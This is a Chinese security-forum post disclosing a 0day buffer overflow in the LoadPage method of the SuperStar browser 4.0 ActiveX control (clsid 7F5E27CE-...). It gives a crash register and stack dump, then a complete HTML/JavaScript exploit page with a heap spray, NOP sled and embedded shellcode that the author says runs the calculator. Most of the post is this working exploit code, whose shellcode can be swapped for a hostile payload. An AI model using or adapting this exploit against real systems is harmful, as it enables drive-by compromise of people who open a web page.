超星浏览器4.0漏洞0day & Exp
文章作者:friddy
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
注:文章首发Friddy的罐子,后由原创作者友情提交到邪恶八进制信息安全团队讨论组,转载请著名首发站点。
本文章只含有漏洞存在的证明,效果是运行计算器的程序,不含有攻击性代码!
去年11月出的漏洞是在target.Register(ok,buffer)上,这次的缓冲区溢出出在target.LoadPage(buffer ,1 ,1 ,1)
漏洞位置:clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2的LoadPage函数发生缓冲区溢出
漏洞告警: ACCESS_VIOLATION
Disasm: 41414141 ????? ()
寄存器状态:
EIP 41414141
EAX BAADF000
EBX 00000000
ECX 00000000
EDX 00B36F48 -> 016E9D0C
EDI 0013E084 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ESI 0013E39C -> 00000000
EBP 00B36F48 -> 016E9D0C
ESP 0013D85C -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ArgDump:
EBP+8 BAADF00D
EBP+12 00000000
EBP+16 BAADF00D
EBP+20 BAADF00D
EBP+24 BAADF00D
EBP+28 BAADF00D
Stack Dump:
13D85C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
13D86C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
13D87C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
13D88C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
13D89C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]
漏洞利用程序:
<object classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2" id='target'></object>
<P>Made By Friddy QQ:568623
<P>http://www.friddy.cn
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;//总长度
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 3092) buffer+="\x0a\x0a\x0a\x0a";
target.LoadPage(buffer ,1 ,1 ,1);//这次出问题的是LoadPage.不是Register了
</script>